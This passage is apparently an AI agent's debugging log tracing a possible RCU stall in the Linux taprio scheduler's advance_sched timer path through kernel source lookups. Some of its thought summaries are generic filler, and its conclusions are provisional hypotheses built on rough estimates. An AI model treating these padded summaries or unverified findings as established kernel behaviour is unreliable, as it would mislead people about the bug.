So, `end_time` is incremented by `interval` each time. If the interval is 1024 ns and the difference between `basenow` and `start` is 1 millisecond, it'll still loop 1000 times, but it eventually terminates! That's not *strictly* infinite, but it could still be a problem.
Here's the real question: Can `interval` be 0? That's what I need to find out; zero interval is a recipe for disaster. I need to look at `parse_sched_list`.
|
| 35/2 |
2026/05/23 14:46 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/sched/sch_taprio.c IncludeLines:true Name:parse_sched_list]
Results: map[SourceCode:1087: static int parse_sched_list(struct taprio_sched *q, struct nlattr *list,
1088: struct sched_gate_list *sched,
1089: struct netlink_ext_ack *extack)
1090: {
1091: struct nlattr *n;
1092: int err, rem;
1093: int i = 0;
1094:
1095: if (!list)
1096: return -EINVAL;
1097:
1098: nla_for_each_nested(n, list, rem) {
1099: struct sched_entry *entry;
1100:
1101: if (nla_type(n) != TCA_TAPRIO_SCHED_ENTRY) {
1102: NL_SET_ERR_MSG(extack, "Attribute is not of type 'entry'");
1103: continue;
1104: }
1105:
1106: entry = kzalloc(sizeof(*entry), GFP_KERNEL);
1107: if (!entry) {
1108: NL_SET_ERR_MSG(extack, "Not enough memory for entry");
1109: return -ENOMEM;
1110: }
1111:
1112: err = parse_sched_entry(q, n, entry, i, extack);
1113: if (err < 0) {
1114: kfree(entry);
1115: return err;
1116: }
1117:
1118: list_add_tail(&entry->list, &sched->entries);
1119: i++;
1120: }
1121:
1122: sched->num_entries = i;
1123:
1124: return i;
1125: }
SourceFile:net/sched/sch_taprio.c]
|
| 36/2 |
2026/05/23 14:46 |
llm |
expert |
0m
Model:
Tokens:
input: 51812
output: 44
thoughts: 11
Thoughts: Okay, here's my interpretation of that thought process, tailored for an expert audience, and written in the first person:
**Analyzing `parse_sched_entry`**
Alright, time to dig in. The phrase "Let's check `parse_sched_entry`" immediately tells me we're focusing on that specific function. It implies we either need to:
* **Confirm its functionality:** We might be troubleshooting a scheduling issue, and this function is a likely culprit. We're going to examine its code to ensure it's behaving as expected.
* **Debug a specific error:** It could be that `parse_sched_entry` is throwing an exception or returning unexpected data, and we're zeroing in on it as the source.
* **Evaluate its role:** We might be reviewing the overall scheduler design, and checking its impact on the system.
* **Optimize its performance:** Perhaps there's a suspected bottleneck related to schedule entry parsing, and we need to verify.
* **Understand its mechanics:** Maybe we're familiarizing ourselves with the code or someone else's, and so we want to get a complete grasp of it.
|
| 37/2 |
2026/05/23 14:47 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/sched/sch_taprio.c IncludeLines:true Name:parse_sched_entry]
Results: map[SourceCode:1068: static int parse_sched_entry(struct taprio_sched *q, struct nlattr *n,
1069: struct sched_entry *entry, int index,
1070: struct netlink_ext_ack *extack)
1071: {
1072: struct nlattr *tb[TCA_TAPRIO_SCHED_ENTRY_MAX + 1] = { };
1073: int err;
1074:
1075: err = nla_parse_nested_deprecated(tb, TCA_TAPRIO_SCHED_ENTRY_MAX, n,
1076: entry_policy, NULL);
1077: if (err < 0) {
1078: NL_SET_ERR_MSG(extack, "Could not parse nested entry");
1079: return -EINVAL;
1080: }
1081:
1082: entry->index = index;
1083:
1084: return fill_sched_entry(q, tb, entry, extack);
1085: }
SourceFile:net/sched/sch_taprio.c]
|
| 38/2 |
2026/05/23 14:47 |
llm |
expert |
0m
Model:
Tokens:
input: 52439
output: 44
thoughts: 11
Thoughts: Okay, here's my attempt at summarizing that thought process, keeping in mind I'm speaking to an expert:
**Investigating `fill_sched_entry`**
Alright, time to dig into `fill_sched_entry`. I need to refresh my understanding of its role in the scheduling process. What specific aspects are we concerned with today? Is there a particular bug report or performance bottleneck that's driving this? I'm already mentally running through the typical areas: data validation, resource allocation, potential race conditions... Is there a recent commit that touches this function? Let's quickly review the surrounding code to see what the calling contexts look like β what are the parameters and their expected states? I need to build a mental model of this function's exact responsibilities to ensure I'm not missing anything critical. Let's see if the function documentation is helpful. I will keep an eye out for any unusual data dependencies or potential inefficiencies. If it's related to a specific issue, I need to focus on how this function might be contributing to that. Time to get started.
|
| 39/2 |
2026/05/23 14:47 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/sched/sch_taprio.c IncludeLines:true Name:fill_sched_entry]
Results: map[SourceCode:1036: static int fill_sched_entry(struct taprio_sched *q, struct nlattr **tb,
1037: struct sched_entry *entry,
1038: struct netlink_ext_ack *extack)
1039: {
1040: int min_duration = length_to_duration(q, ETH_ZLEN);
1041: u32 interval = 0;
1042:
1043: if (tb[TCA_TAPRIO_SCHED_ENTRY_CMD])
1044: entry->command = nla_get_u8(
1045: tb[TCA_TAPRIO_SCHED_ENTRY_CMD]);
1046:
1047: if (tb[TCA_TAPRIO_SCHED_ENTRY_GATE_MASK])
1048: entry->gate_mask = nla_get_u32(
1049: tb[TCA_TAPRIO_SCHED_ENTRY_GATE_MASK]);
1050:
1051: if (tb[TCA_TAPRIO_SCHED_ENTRY_INTERVAL])
1052: interval = nla_get_u32(
1053: tb[TCA_TAPRIO_SCHED_ENTRY_INTERVAL]);
1054:
1055: /* The interval should allow at least the minimum ethernet
1056: * frame to go out.
1057: */
1058: if (interval < min_duration) {
1059: NL_SET_ERR_MSG(extack, "Invalid interval for schedule entry");
1060: return -EINVAL;
1061: }
1062:
1063: entry->interval = interval;
1064:
1065: return 0;
1066: }
SourceFile:net/sched/sch_taprio.c]
|
| 40/2 |
2026/05/23 14:47 |
llm |
expert |
0m
Model:
Tokens:
input: 53238
output: 42
thoughts: 990
Thoughts: **Analyzing Potential RCU Stall in TAPRIO Scheduler**
Okay, so I'm looking at this `interval < min_duration` check. I see `min_duration` is derived from `length_to_duration` using `ETH_ZLEN`. Given my understanding, this should ensure `min_duration` is at least 1 ns, and therefore `interval` should also be at least 1 ns. My initial thought was to look at the edge case of q->picos_per_byte = 0, but as I dig deeper, I see it's initialized by `taprio_set_picos_per_byte` to at least `TAPRIO_PICOS_PER_BYTE_MIN` (17). Looking at the code flow, this happens during `taprio_change` before `fill_sched_entry` is called. So, the initialization is correct.
Now, what about `speed`? If `speed` is large, `picos_per_byte` gets small. But even in this case, `if (picos_per_byte < TAPRIO_PICOS_PER_BYTE_MIN)` ensures it's clamped to 17. So `picos_per_byte` is definitely >= 17, and hence `min_duration` and `interval` are always at least 1 ns, which makes me think the interval calculation is fine.
However, I start to see a potential problem if `interval` is extremely small, particularly 1, and `basenow - start` is large. That could cause a massive loop in `advance_sched`, potentially locking up the CPU. If `interval` is 1 ns, and `cycle_time` is 1 ns, then for every ns difference between `basenow` and `start`, `advance_sched` loops once. If `basenow` is 1 second after `start`, thatβs one billion iterations - that's a serious performance issue. That seems like a surefire path to an RCU stall.
I've got a reproducer, and `TCA_TAPRIO_SCHED_ENTRY_INTERVAL` is 1024. Even with 1024ns, if `basenow - start` is 1 second, the loop is still a million iterations. My immediate thought is, a million in an interrupt handler can cause a few milliseconds of delay. But an RCU stall typically times out at 21 seconds. So, even a million iterations might not directly cause the RCU stall I'm seeing.
So, let's explore if `basenow` could be very far in the future relative to `start`. Looking at `taprio_get_start_time`, `start` gets calculated using a clever comparison and manipulation with `sched_base_time` and `taprio_get_time(q)`. Specifically, If `base <= now`, then the `start` will be a multiple of `cycle_time`, always *after* now! That makes perfect sense; the timer needs to be in the future. So, when the interrupt fires, `basenow` will be roughly equal to this `start` value.
Therefore, `basenow - start` should be just the interrupt latency! We're talking microseconds, not seconds. If the interrupt latency is 10 us, and `interval` is 1024 ns, then the loop will run only around 10 times. That's a rounding error, at best! It should be nothing.
I'm missing something here. Why is the RCU stall happening? Time to revisit `advance_sched` and see if I'm overlooking something obvious.
|
| 41/2 |
2026/05/23 14:47 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/sched/sch_taprio.c IncludeLines:true Name:advance_sched]
Results: map[SourceCode: 918: static enum hrtimer_restart advance_sched(struct hrtimer *timer)
919: {
920: struct taprio_sched *q = container_of(timer, struct taprio_sched,
921: advance_timer);
922: struct net_device *dev = qdisc_dev(q->root);
923: struct sched_gate_list *oper, *admin;
924: int num_tc = netdev_get_num_tc(dev);
925: struct sched_entry *entry, *next;
926: struct Qdisc *sch = q->root;
927: ktime_t end_time;
928: int tc;
929:
930: spin_lock(&q->current_entry_lock);
931: entry = rcu_dereference_protected(q->current_entry,
932: lockdep_is_held(&q->current_entry_lock));
933: oper = rcu_dereference_protected(q->oper_sched,
934: lockdep_is_held(&q->current_entry_lock));
935: admin = rcu_dereference_protected(q->admin_sched,
936: lockdep_is_held(&q->current_entry_lock));
937:
938: if (!oper)
939: switch_schedules(q, &admin, &oper);
940:
941: /* This can happen in two cases: 1. this is the very first run
942: * of this function (i.e. we weren't running any schedule
943: * previously); 2. The previous schedule just ended. The first
944: * entry of all schedules are pre-calculated during the
945: * schedule initialization.
946: */
947: if (unlikely(!entry || entry->end_time == oper->base_time)) {
948: next = list_first_entry(&oper->entries, struct sched_entry,
949: list);
950: end_time = next->end_time;
951: goto first_run;
952: }
953:
954: if (should_restart_cycle(oper, entry)) {
955: next = list_first_entry(&oper->entries, struct sched_entry,
956: list);
957: oper->cycle_end_time = ktime_add_ns(oper->cycle_end_time,
958: oper->cycle_time);
959: } else {
960: next = list_next_entry(entry, list);
961: }
962:
963: end_time = ktime_add_ns(entry->end_time, next->interval);
964: end_time = min_t(ktime_t, end_time, oper->cycle_end_time);
965:
966: for (tc = 0; tc < num_tc; tc++) {
967: if (next->gate_duration[tc] == oper->cycle_time)
968: next->gate_close_time[tc] = KTIME_MAX;
969: else
970: next->gate_close_time[tc] = ktime_add_ns(entry->end_time,
971: next->gate_duration[tc]);
972: }
973:
974: if (should_change_schedules(admin, oper, end_time)) {
975: /* Set things so the next time this runs, the new
976: * schedule runs.
977: */
978: end_time = sched_base_time(admin);
979: switch_schedules(q, &admin, &oper);
980: }
981:
982: next->end_time = end_time;
983: taprio_set_budgets(q, oper, next);
984:
985: first_run:
986: rcu_assign_pointer(q->current_entry, next);
987: spin_unlock(&q->current_entry_lock);
988:
989: hrtimer_set_expires(&q->advance_timer, end_time);
990:
991: rcu_read_lock();
992: __netif_schedule(sch);
993: rcu_read_unlock();
994:
995: return HRTIMER_RESTART;
996: }
SourceFile:net/sched/sch_taprio.c]
|
| 42/2 |
2026/05/23 14:47 |
llm |
expert |
0m
Model:
Tokens:
input: 56380
output: 44
thoughts: 242
Thoughts: **Analyzing the Time Update Logic**
Okay, so I'm looking at this snippet and immediately I have a concern. The line `end_time = ktime_add_ns(entry->end_time, next->interval);`... if `entry->end_time` isn't properly handled, `end_time` could get stuck. That's the core of the issue. Then, we set `next->end_time = end_time;` so `next->end_time` *should* become `entry->end_time + next->interval`. Makes sense so far. Then, in the loop, `next` becomes `entry` for the next cycle. So `end_time` advances by `next->interval` on each step.
But hold on a second! This `end_time = min_t(ktime_t, end_time, oper->cycle_end_time);` line. This is where things get interesting. If `end_time` is bounded by `oper->cycle_end_time`, `next->end_time` becomes `oper->cycle_end_time`. So the *next* iteration `entry->end_time` is now equal to `oper->cycle_end_time`.
Wait a second, now I'm thinking... if `entry->end_time == oper->cycle_end_time`, does this actually restart the cycle, or are we going to run into an issue? I need to check the logic surrounding `should_restart_cycle`. It all hinges on that point.
|
| 43/2 |
2026/05/23 14:47 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/sched/sch_taprio.c IncludeLines:true Name:should_restart_cycle]
Results: map[SourceCode: 872: static bool should_restart_cycle(const struct sched_gate_list *oper,
873: const struct sched_entry *entry)
874: {
875: if (list_is_last(&entry->list, &oper->entries))
876: return true;
877:
878: if (ktime_compare(entry->end_time, oper->cycle_end_time) == 0)
879: return true;
880:
881: return false;
882: }
SourceFile:net/sched/sch_taprio.c]
|
| 44/2 |
2026/05/23 14:47 |
llm |
expert |
0m
Model:
Tokens:
input: 57188
output: 45
thoughts: 279
Thoughts: **Analyzing the Cycle Restart Logic**
Okay, so I'm digging into this cycle restart condition. The core of it seems to be: if the `entry`'s `end_time` matches the `oper`'s `cycle_end_time`, we restart. Makes sense so far. Looking at the code:
```c
if (should_restart_cycle(oper, entry)) {
next = list_first_entry(&oper->entries, struct sched_entry,
list);
oper->cycle_end_time = ktime_add_ns(oper->cycle_end_time,
oper->cycle_time);
}
```
Right, we get the `next` entry, and *then* update `oper->cycle_end_time` by adding `oper->cycle_time` to it. Then, `end_time` for the next entry is calculated as `ktime_add_ns(entry->end_time, next->interval);`. Now, a lightbulb moment! `entry->end_time` *before* the update *is* `oper->cycle_end_time`! So effectively, `end_time` becomes `ktime_add_ns(old_cycle_end_time, next->interval);`. Yeah, that looks correct. We're essentially scheduling the next entry based on the old cycle end time plus its interval, after the cycle restarts.
But, hang on a second. What if `next->interval` is 0? I need to consider edge cases. Oh, wait, no, we established that `interval` is at least 1, so that's good. Ok, so no 0 there.
And, what if `oper->cycle_time` is zero? Same principle, we've established that the minimum value is going to be `num_entries * min_duration`, and that number will be at least 1. So we're good there too.
Wait a second, there's `should_change_schedules`. What if this is true? We need to look into this function.
|
| 45/2 |
2026/05/23 14:47 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/sched/sch_taprio.c IncludeLines:true Name:should_change_schedules]
Results: map[SourceCode: 884: static bool should_change_schedules(const struct sched_gate_list *admin,
885: const struct sched_gate_list *oper,
886: ktime_t end_time)
887: {
888: ktime_t next_base_time, extension_time;
889:
890: if (!admin)
891: return false;
892:
893: next_base_time = sched_base_time(admin);
894:
895: /* This is the simple case, the end_time would fall after
896: * the next schedule base_time.
897: */
898: if (ktime_compare(next_base_time, end_time) <= 0)
899: return true;
900:
901: /* This is the cycle_time_extension case, if the end_time
902: * plus the amount that can be extended would fall after the
903: * next schedule base_time, we can extend the current schedule
904: * for that amount.
905: */
906: extension_time = ktime_add_ns(end_time, oper->cycle_time_extension);
907:
908: /* FIXME: the IEEE 802.1Q-2018 Specification isn't clear about
909: * how precisely the extension should be made. So after
910: * conformance testing, this logic may change.
911: */
912: if (ktime_compare(next_base_time, extension_time) <= 0)
913: return true;
914:
915: return false;
916: }
SourceFile:net/sched/sch_taprio.c]
|
| 46/2 |
2026/05/23 14:47 |
llm |
expert |
0m
Model:
Tokens:
input: 58496
output: 46
thoughts: 410
Thoughts: **My Immediate Concerns Regarding Schedule Transitions**
Okay, so I'm looking at this scheduling logic, and immediately a potential issue jumps out at me. We have this `should_change_schedules` function, right? When it returns true, we update the `end_time` by calling `sched_base_time(admin)` and then switch schedules using `switch_schedules(q, &admin, &oper)`. That's all fine, I get that.
But, hang on a second... what if `sched_base_time(admin)` returns a *past* time? We're setting `end_time` to that past value. Consequently, when we later set the `hrtimer` to expire at this `end_time` using `hrtimer_set_expires(&q->advance_timer, end_time)`, we're essentially scheduling an immediate firing. The `advance_sched` routine will return `HRTIMER_RESTART`. So far, so good, but that means the timer is going to fire again right away.
In the next loop, `entry` becomes `next`, and crucially, `entry->end_time` will *still* be the past time returned by `sched_base_time(admin)`. Because in the switch, `oper` is now `admin`. That means we will evaluate `unlikely(!entry || entry->end_time == oper->base_time)`. Because `entry->end_time` is equal to `sched_base_time(admin)`, and `oper->base_time` is effectively `sched_base_time(admin)`. And now we're going to use the `list` to find the *first* `end_time`. Wait! It's the pre-calculated `end_time` from `setup_first_end_time`! It's this first time that we need to inspect.
This immediate re-triggering looks like it could lead to some potentially unexpected behavior or an infinite loop, if `sched_base_time(admin)` consistently returns a past time after a schedule change. The core of this seems contingent on that.
|
| 47/2 |
2026/05/23 14:47 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/sched/sch_taprio.c IncludeLines:true Name:setup_first_end_time]
Results: map[SourceCode:1240: static void setup_first_end_time(struct taprio_sched *q,
1241: struct sched_gate_list *sched, ktime_t base)
1242: {
1243: struct net_device *dev = qdisc_dev(q->root);
1244: int num_tc = netdev_get_num_tc(dev);
1245: struct sched_entry *first;
1246: ktime_t cycle;
1247: int tc;
1248:
1249: first = list_first_entry(&sched->entries,
1250: struct sched_entry, list);
1251:
1252: cycle = sched->cycle_time;
1253:
1254: /* FIXME: find a better place to do this */
1255: sched->cycle_end_time = ktime_add_ns(base, cycle);
1256:
1257: first->end_time = ktime_add_ns(base, first->interval);
1258: taprio_set_budgets(q, sched, first);
1259:
1260: for (tc = 0; tc < num_tc; tc++) {
1261: if (first->gate_duration[tc] == sched->cycle_time)
1262: first->gate_close_time[tc] = KTIME_MAX;
1263: else
1264: first->gate_close_time[tc] = ktime_add_ns(base, first->gate_duration[tc]);
1265: }
1266:
1267: rcu_assign_pointer(q->current_entry, NULL);
1268: }
SourceFile:net/sched/sch_taprio.c]
|
| 48/2 |
2026/05/23 14:47 |
llm |
expert |
0m
Model:
Tokens:
input: 59911
output: 42
thoughts: 672
Thoughts: **Analyzing Potential Infinite Loop Scenarios in the Timer Mechanism**
Okay, let's break this down. My initial thought was that the call to `setup_first_end_time` within `taprio_change`, where `start` is set to `base`, would ensure that the calculated `first->end_time` (which is `start + first->interval`) would prevent an infinite loop, as long as `start` is in the future. This seems straightforward, and initially I thought this was the case.
But then, I need to consider all the possibilities. What else could cause an issue? What about extremely small `oper->cycle_time`, like 1 ns? If the `cycle_time` is that small, and `advance_sched` bumps the `end_time` by only 1 ns in each iteration, a large `basenow` - `start` difference would result in an excessive number of loop iterations. For example, if `basenow` is 1 second after `start`, then it would loop 1 billion times!
But, how could `basenow` get so far ahead of `start`? If `start` is calculated as `base + (n + 1) * cycle`, and if `cycle` is 1 ns, then `start` would be at most 1 ns after `now`. So, `start` should be very close to `now`. When the timer fires, `basenow` should be very close to `start`, and the time delta would just be the interrupt latency. Even if the interrupt latency is 10 us, the loop count would only be 10,000, which is still not likely to be an RCU stall.
However, consider a scenario where the timer interrupt is delayed by 1 second. For example, if another interrupt handler takes that long, or if interrupts are disabled for a second. In that case, `basenow - start` would indeed be 1 second, resulting in that 1 billion loop iteration count and potentially, a 10-second total runtime. This is likely to cause a serious RCU stall!
Can we trigger this without an intentional delay? What if the execution time of `advance_sched` exceeds `interval`? If `interval` is 1 ns, and `advance_sched` takes, say, 100 ns, in each loop iteration, `end_time` would advance by 1 ns, but the "real" time (represented by `basenow`) would advance by 100 ns.
Ah, but *wait*. Looking closely at the code snippet from `__hrtimer_run_queues`, `basenow` isn't updated within the primary loop. The critical line is:
```c
basenow = ktime_add(now, base->offset);
while ((node = timerqueue_getnext(&base->active))) {
...
if (basenow < hrtimer_get_softexpires_tv64(timer))
break;
__run_hrtimer(cpu_base, base, timer, &basenow, flags);
```
While `basenow` is passed by reference to `__run_hrtimer`, `__run_hrtimer` does NOT update it! This is a critical oversight.
|
| 49/2 |
2026/05/23 14:47 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:kernel/time/hrtimer.c IncludeLines:true Name:__run_hrtimer]
Results: map[SourceCode:1734: static void __run_hrtimer(struct hrtimer_cpu_base *cpu_base,
1735: struct hrtimer_clock_base *base,
1736: struct hrtimer *timer, ktime_t *now,
1737: unsigned long flags) __must_hold(&cpu_base->lock)
1738: {
1739: enum hrtimer_restart (*fn)(struct hrtimer *);
1740: bool expires_in_hardirq;
1741: int restart;
1742:
1743: lockdep_assert_held(&cpu_base->lock);
1744:
1745: debug_deactivate(timer);
1746: base->running = timer;
1747:
1748: /*
1749: * Separate the ->running assignment from the ->state assignment.
1750: *
1751: * As with a regular write barrier, this ensures the read side in
1752: * hrtimer_active() cannot observe base->running == NULL &&
1753: * timer->state == INACTIVE.
1754: */
1755: raw_write_seqcount_barrier(&base->seq);
1756:
1757: __remove_hrtimer(timer, base, HRTIMER_STATE_INACTIVE, 0);
1758: fn = ACCESS_PRIVATE(timer, function);
1759:
1760: /*
1761: * Clear the 'is relative' flag for the TIME_LOW_RES case. If the
1762: * timer is restarted with a period then it becomes an absolute
1763: * timer. If its not restarted it does not matter.
1764: */
1765: if (IS_ENABLED(CONFIG_TIME_LOW_RES))
1766: timer->is_rel = false;
1767:
1768: /*
1769: * The timer is marked as running in the CPU base, so it is
1770: * protected against migration to a different CPU even if the lock
1771: * is dropped.
1772: */
1773: raw_spin_unlock_irqrestore(&cpu_base->lock, flags);
1774: trace_hrtimer_expire_entry(timer, now);
1775: expires_in_hardirq = lockdep_hrtimer_enter(timer);
1776:
1777: restart = fn(timer);
1778:
1779: lockdep_hrtimer_exit(expires_in_hardirq);
1780: trace_hrtimer_expire_exit(timer);
1781: raw_spin_lock_irq(&cpu_base->lock);
1782:
1783: /*
1784: * Note: We clear the running state after enqueue_hrtimer and
1785: * we do not reprogram the event hardware. Happens either in
1786: * hrtimer_start_range_ns() or in hrtimer_interrupt()
1787: *
1788: * Note: Because we dropped the cpu_base->lock above,
1789: * hrtimer_start_range_ns() can have popped in and enqueued the timer
1790: * for us already.
1791: */
1792: if (restart != HRTIMER_NORESTART &&
1793: !(timer->state & HRTIMER_STATE_ENQUEUED))
1794: enqueue_hrtimer(timer, base, HRTIMER_MODE_ABS);
1795:
1796: /*
1797: * Separate the ->running assignment from the ->state assignment.
1798: *
1799: * As with a regular write barrier, this ensures the read side in
1800: * hrtimer_active() cannot observe base->running.timer == NULL &&
1801: * timer->state == INACTIVE.
1802: */
1803: raw_write_seqcount_barrier(&base->seq);
1804:
1805: WARN_ON_ONCE(base->running != timer);
1806: base->running = NULL;
1807: }
SourceFile:kernel/time/hrtimer.c]
|
| 50/2 |
2026/05/23 14:47 |
llm |
expert |
0m
Model:
Tokens:
input: 62522
output: 41
thoughts: 212
Thoughts: **Analyzing the High-Resolution Timer Loop**
Okay, so I'm digging into this high-resolution timer implementation. It's clear that `__run_hrtimer` *doesn't* update the `*now` variable, right? That's the key. That means `basenow` isn't changing within that `while` loop inside `__hrtimer_run_queues`.
If `basenow` is constant, and `advance_sched` is only bumping `end_time` by a single nanosecond each iteration... that's where my initial confusion comes from. If that's the case, the loop's upper limit is only `(basenow - start) / 1ns` cycles, which is pretty straight forward.
But wait a minute... if `basenow` *isn't* being updated, the loop has to stop when `end_time` finally exceeds `basenow`. I was focused on the increment, but that's only part of the puzzle. So, the loop's actual iteration count becomes `(basenow - start) / interval`.
Let's say the `interval` is 1024 nanoseconds and `basenow - start` is 10 microseconds. Okay, plugging that in, the loop will run 10 times, not the thousands that I initially assumed. That makes a lot more sense.
Then, the execution heads back to `hrtimer_interrupt`. And *that's* where the magic happens. `hrtimer_interrupt` *does* update the `now` variable. That means the entire system is designed for, after a loop of iterations, the timer to increment, and the process begins again. Excellent.
|
| 51/2 |
2026/05/23 14:47 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:kernel/time/hrtimer.c IncludeLines:true Name:hrtimer_interrupt]
Results: map[SourceCode:1869: /*
1870: * High resolution timer interrupt
1871: * Called with interrupts disabled
1872: */
1873: void hrtimer_interrupt(struct clock_event_device *dev)
1874: {
1875: struct hrtimer_cpu_base *cpu_base = this_cpu_ptr(&hrtimer_bases);
1876: ktime_t expires_next, now, entry_time, delta;
1877: unsigned long flags;
1878: int retries = 0;
1879:
1880: BUG_ON(!cpu_base->hres_active);
1881: cpu_base->nr_events++;
1882: dev->next_event = KTIME_MAX;
1883:
1884: raw_spin_lock_irqsave(&cpu_base->lock, flags);
1885: entry_time = now = hrtimer_update_base(cpu_base);
1886: retry:
1887: cpu_base->in_hrtirq = 1;
1888: /*
1889: * We set expires_next to KTIME_MAX here with cpu_base->lock
1890: * held to prevent that a timer is enqueued in our queue via
1891: * the migration code. This does not affect enqueueing of
1892: * timers which run their callback and need to be requeued on
1893: * this CPU.
1894: */
1895: cpu_base->expires_next = KTIME_MAX;
1896:
1897: if (!ktime_before(now, cpu_base->softirq_expires_next)) {
1898: cpu_base->softirq_expires_next = KTIME_MAX;
1899: cpu_base->softirq_activated = 1;
1900: raise_timer_softirq(HRTIMER_SOFTIRQ);
1901: }
1902:
1903: __hrtimer_run_queues(cpu_base, now, flags, HRTIMER_ACTIVE_HARD);
1904:
1905: /* Reevaluate the clock bases for the [soft] next expiry */
1906: expires_next = hrtimer_update_next_event(cpu_base);
1907: /*
1908: * Store the new expiry value so the migration code can verify
1909: * against it.
1910: */
1911: cpu_base->expires_next = expires_next;
1912: cpu_base->in_hrtirq = 0;
1913: raw_spin_unlock_irqrestore(&cpu_base->lock, flags);
1914:
1915: /* Reprogramming necessary ? */
1916: if (!tick_program_event(expires_next, 0)) {
1917: cpu_base->hang_detected = 0;
1918: return;
1919: }
1920:
1921: /*
1922: * The next timer was already expired due to:
1923: * - tracing
1924: * - long lasting callbacks
1925: * - being scheduled away when running in a VM
1926: *
1927: * We need to prevent that we loop forever in the hrtimer
1928: * interrupt routine. We give it 3 attempts to avoid
1929: * overreacting on some spurious event.
1930: *
1931: * Acquire base lock for updating the offsets and retrieving
1932: * the current time.
1933: */
1934: raw_spin_lock_irqsave(&cpu_base->lock, flags);
1935: now = hrtimer_update_base(cpu_base);
1936: cpu_base->nr_retries++;
1937: if (++retries < 3)
1938: goto retry;
1939: /*
1940: * Give the system a chance to do something else than looping
1941: * here. We stored the entry time, so we know exactly how long
1942: * we spent here. We schedule the next event this amount of
1943: * time away.
1944: */
1945: cpu_base->nr_hangs++;
1946: cpu_base->hang_detected = 1;
1947: raw_spin_unlock_irqrestore(&cpu_base->lock, flags);
1948:
1949: delta = ktime_sub(now, entry_time);
1950: if ((unsigned int)delta > cpu_base->max_hang_time)
1951: cpu_base->max_hang_time = (unsigned int) delta;
1952: /*
1953: * Limit it to a sensible value as we enforce a longer
1954: * delay. Give the CPU at least 100ms to catch up.
1955: */
1956: if (delta > 100 * NSEC_PER_MSEC)
1957: expires_next = ktime_add_ns(now, 100 * NSEC_PER_MSEC);
1958: else
1959: expires_next = ktime_add(now, delta);
1960: tick_program_event(expires_next, 1);
1961: pr_warn_once("hrtimer: interrupt took %llu ns\n", ktime_to_ns(delta));
1962: }
SourceFile:kernel/time/hrtimer.c]
|
| 52/2 |
2026/05/23 14:47 |
llm |
expert |
0m
Model:
Tokens:
input: 64689
output: 41
thoughts: 306
Thoughts: **Analyzing the High-Resolution Timer Interrupt Logic**
Okay, so I'm looking at `hrtimer_interrupt`, and it seems like there's a hang detection mechanism in place, which is a good thing. If `tick_program_event` fails β presumably because the next event is in the past β it retries a few times. If it *still* fails after those retries, it schedules the next event with a certain `delta` away or a maximum of 100 milliseconds and then returns. Thatβs clever; it prevents an infinite loop.
So, `hrtimer_interrupt` should exit cleanly in these failure scenarios. It won't get stuck, which is precisely what I want to see. But now, if `hrtimer_interrupt` returns after a retry, the CPU will do other tasks, and then it will generate another timer interrupt, after a delay. But wait! Is `advance_sched` a hardirq or softirq timer? I can't quite remember.
Let's dig into `hrtimer_setup` in the `taprio_change` function. Ah, here it is: `hrtimer_setup(&q->advance_timer, advance_sched, q->clockid, HRTIMER_MODE_ABS);`. So, it looks like it's setting up the `advance_timer` using `advance_sched`, an `q->clockid`, and the absolute time mode `HRTIMER_MODE_ABS`. The crucial piece of information I need here is whether this configuration results in a hard or soft interrupt.
Wait, `hrtimer_setup` does not seem to explicitly define the "hard/soft" attribute. It just takes `mode`, which is set to absolute time. But is absolute time hard or soft? No, the `HRTIMER_MODE_ABS` is just for specifying the time. In Linux, timers are hardirq by default unless specifically flagged with `HRTIMER_MODE_SOFT`? No, the new kernels, `HRTIMER_MODE_SOFT` is a flag. So, `hrtimer_setup` *does* take the `mode` parameter. I need to understand how the mode parameter impacts whether itβs a hard or soft interrupt! Let's check `hrtimer_setup` itself.
|
| 53/2 |
2026/05/23 14:48 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:kernel/time/hrtimer.c IncludeLines:true Name:hrtimer_setup]
Results: map[SourceCode:1649: /**
1650: * hrtimer_setup - initialize a timer to the given clock
1651: * @timer: the timer to be initialized
1652: * @function: the callback function
1653: * @clock_id: the clock to be used
1654: * @mode: The modes which are relevant for initialization:
1655: * HRTIMER_MODE_ABS, HRTIMER_MODE_REL, HRTIMER_MODE_ABS_SOFT,
1656: * HRTIMER_MODE_REL_SOFT
1657: *
1658: * The PINNED variants of the above can be handed in,
1659: * but the PINNED bit is ignored as pinning happens
1660: * when the hrtimer is started
1661: */
1662: void hrtimer_setup(struct hrtimer *timer, enum hrtimer_restart (*function)(struct hrtimer *),
1663: clockid_t clock_id, enum hrtimer_mode mode)
1664: {
1665: debug_setup(timer, clock_id, mode);
1666: __hrtimer_setup(timer, function, clock_id, mode);
1667: }
SourceFile:kernel/time/hrtimer.c]
|
| 54/2 |
2026/05/23 14:48 |
llm |
expert |
0m
Model:
Tokens:
input: 65891
output: 46
thoughts: 2123
Thoughts: **Analyzing a Potential RCU Stall in HRTimer Interrupts**
Okay, so I'm looking at how this `HRTIMER_MODE_ABS` timer interacts with the system. It's a hardirq, which means it runs within `hrtimer_interrupt`, and that has built-in hang detection β which seems odd. If hang detection exists, how can it lead to an RCU stall?
If `hrtimer_interrupt` returns, it reschedules the next interrupt 100 ms away. Then the cycle repeats, and it all runs again. If `__hrtimer_run_queues` loops while `basenow >= hrtimer_get_softexpires_tv64(timer)` and `advance_sched` increments `end_time` by just 1 ns, and `basenow` has advanced 100 ms from `start`, this looks like trouble. `__hrtimer_run_queues` would loop for a mind-boggling `100 ms / 1 ns = 100,000,000` times! But wait, `basenow` isn't updated inside `__hrtimer_run_queues`, so the loop will finish 100 million iterations before returning to `hrtimer_interrupt`!
100 million iterations of `advance_sched` would take a significant amount of time. Iβm estimating 10 billion cycles, which on a 2 GHz CPU is about 5 seconds! If `basenow` is 1 second after `start`, thatβs a billion iterations, and that takes 50 seconds β longer than the RCU stall timeout! So yes, `__hrtimer_run_queues` could loop for ages, potentially causing a stall.
